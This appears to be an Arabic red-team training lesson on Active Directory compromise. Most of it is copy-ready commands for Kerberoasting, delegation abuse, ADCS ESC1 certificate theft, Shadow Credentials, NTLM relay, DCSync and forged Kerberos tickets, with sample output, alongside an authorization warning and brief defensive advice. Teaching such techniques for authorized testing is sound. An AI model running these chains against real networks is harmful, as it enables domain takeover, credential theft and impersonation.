الفرق الحمراء — الهجومخبير100mL12
هجمات Active Directory المتقدمة
هجمات متقدمة: ADCS، التفويض المقيد، وتتابع NTLM
#ADCS#Delegation#NTLM Relay#Shadow Creds
لماذا Active Directory هو الجائزة الكبرى؟
تشبيه — شرح مبسط
الـ Domain Controller هو مفتاح المملكة. من يملك صلاحية Domain Admin أو krbtgt يملك كل الأجهزة و كل الحسابات في المؤسسة. هذا الدرس عن الطرق الحديثة للوصول لذلك المفتاح.
تحذير
كل التقنيات هنا مذكورة لتمارين red team مصرّح بها فقط. استخدامها بدون تفويض = جريمة فيدرالية في كل دول مجلس التعاون و الاتحاد الأوروبي و الولايات المتحدة.
رسم شجرة الهجوم بـ BloodHound
أول ما يفعله red teamer داخل الدومين هو رسم خريطة العلاقات. BloodHound + SharpHound يجمعان كل ACLs, sessions, group memberships ثم يحوّلانها إلى رسم بياني.
$ bloodhound-python -d corp.local -u user -p Pass1 -ns 10.0.0.10 -c All --zip
$ Invoke-BloodHound -CollectionMethod All,LoggedOn,GPOLocalGroup -ZipFileName loot.zip
[+] 1247 users, 92 computers, 38 GPOs collected
استعلامات Cypher مفيدة
Cypher
MATCH p=shortestPath((u:User {name:"ME@CORP.LOCAL"})-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})) RETURN p
MATCH (u:User {hasspn:true}) WHERE u.pwdlastset < (date().epochSeconds - 31536000) RETURN u.name
MATCH (u)-[:GenericAll|WriteOwner|WriteDacl]->(t) RETURN u,tKerberos Attacks الكاملة
1) Kerberoasting
bash
GetUserSPNs.py corp.local/user:Pass1 -dc-ip 10.0.0.10 -request -outputfile spns.hash
hashcat -m 13100 spns.hash rockyou.txt -r rules/best64.rule2) AS-REP Roasting
bash
GetNPUsers.py corp.local/ -usersfile users.txt -no-pass -dc-ip 10.0.0.10
hashcat -m 18200 asrep.hash rockyou.txt3) Unconstrained Delegation
bash
Rubeus.exe monitor /interval:1 /nowrap
SpoolSample.exe DC1 PWNED-HOST
PetitPotam.py -d corp.local -u user -p Pass1 PWNED DC14) Constrained Delegation Abuse (S4U)
bash
getST.py -spn cifs/target.corp.local -impersonate Administrator corp.local/svc:Pass1
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass corp.local/Administrator@target.corp.local5) Resource-Based Constrained Delegation (RBCD)
bash
rbcd.py -delegate-from FAKE$ -delegate-to TARGET$ -action write corp.local/user:Pass1
addcomputer.py corp.local/user:Pass1 -computer-name FAKE$ -computer-pass Fake1
getST.py -spn cifs/TARGET.corp.local -impersonate Administrator corp.local/FAKE$:Fake1ADCS — أحدث جبهة و أخطرها (ESC1 → ESC15)
Active Directory Certificate Services فيه قوالب شهادات يمكن إساءة تكوينها. أداة Certipy تكتشف و تستغل تلقائياً.
$ certipy find -u user@corp.local -p Pass1 -dc-ip 10.0.0.10 -vulnerable -stdout
[!] Vulnerable: VulnTemplate (ESC1) — ENROLLEE_SUPPLIES_SUBJECT + Client Auth EKU
$ certipy req -u user@corp.local -p Pass1 -ca CORP-CA -template VulnTemplate -upn administrator@corp.local
[+] Got certificate for administrator@corp.local — saved as administrator.pfx
$ certipy auth -pfx administrator.pfx -dc-ip 10.0.0.10
[+] Got TGT and NT hash for administrator: aad3b435...:31d6cfe0d16ae...
الـ ESC الأشهر
- ESC1 — قالب يسمح بـ SAN + Client Authentication.
- ESC2 — Any Purpose EKU أو خالٍ.
- ESC4 — GenericAll على القالب نفسه = استبدله بقالب ضعيف.
- ESC8 — NTLM relay إلى الـ CA web enrollment.
- ESC11 — RPC interface بدون EPA.
- ESC13/15 — حديثة، تتعلق بـ issuance policies / schema.
Shadow Credentials
لو كان لديك GenericWrite على حساب، يمكنك إضافة مفتاح msDS-KeyCredentialLink ثم المصادقة كهذا الحساب بـ PKINIT دون كسر كلمة مروره.
bash
certipy shadow auto -u user@corp.local -p Pass1 -account victimNTLM Relay — هجوم لا يموت
bash
responder -I eth0 -wrf
ntlmrelayx.py -t ldaps://dc -smb2support --delegate-access
ntlmrelayx.py -t ldap://dc --shadow-credentials --shadow-target victim$
mitm6 -d corp.local
ntlmrelayx.py -6 -wh fake-wpad -t ldaps://dc --delegate-accessالدفاع
- فعّل SMB Signing + LDAP Signing & Channel Binding (EPA).
- عطّل LLMNR / NBT-NS / mDNS.
- عطّل IPv6 إن لم يُستخدم، أو ثبّت DHCPv6 guard.
- راقب 4624 type 3 + 4768/4769 غير المعتاد.
DCSync و Golden / Silver / Diamond Tickets
bash
secretsdump.py -just-dc corp.local/admin:Pass1@DC1
ticketer.py -nthash <KRBTGT_NTLM> -domain-sid S-1-5-21-... -domain corp.local administrator
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass corp.local/administrator@DC1
ticketer.py -nthash <SVC_NTLM> -spn cifs/target -domain corp.local user
Rubeus.exe diamond /tgtdeleg /ticketuser:admin /ticketuserid:500 /groups:512القاعدة الذهبية للدفاع
عند تأكيد اختراق DC: دوّر krbtgt مرتين (مرة، انتظر 10 ساعات، مرة أخرى).